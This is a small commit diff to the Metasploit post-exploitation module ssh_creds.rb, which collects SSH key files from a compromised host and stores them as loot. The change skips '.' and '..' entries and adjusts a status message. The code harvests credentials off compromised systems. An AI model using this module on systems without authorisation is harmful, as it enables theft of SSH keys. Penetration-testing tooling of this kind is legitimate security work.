Don't try to download '.' or '..' as files

modules/post/multi/gather/ssh_creds.rb

@@ -61,11 +61,12 @@ class Metasploit3 < Msf::Post
 			end
 
 			files.each do |file|
-				print_good("Downloading #{path}#{sep}#{file} -> #{file}")
+				next if [".", ".."].include?(file)
 				data = read_file("#{path}#{sep}#{file}")
 				file = file.split(sep).last
 				loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
 					"ssh_#{file}", "OpenSSH #{file} File")
+				print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
 
 				# If the key is encrypted, this will fail and it won't be stored as a
 				# cred.  That's ok because we can't really use encrypted keys anyway.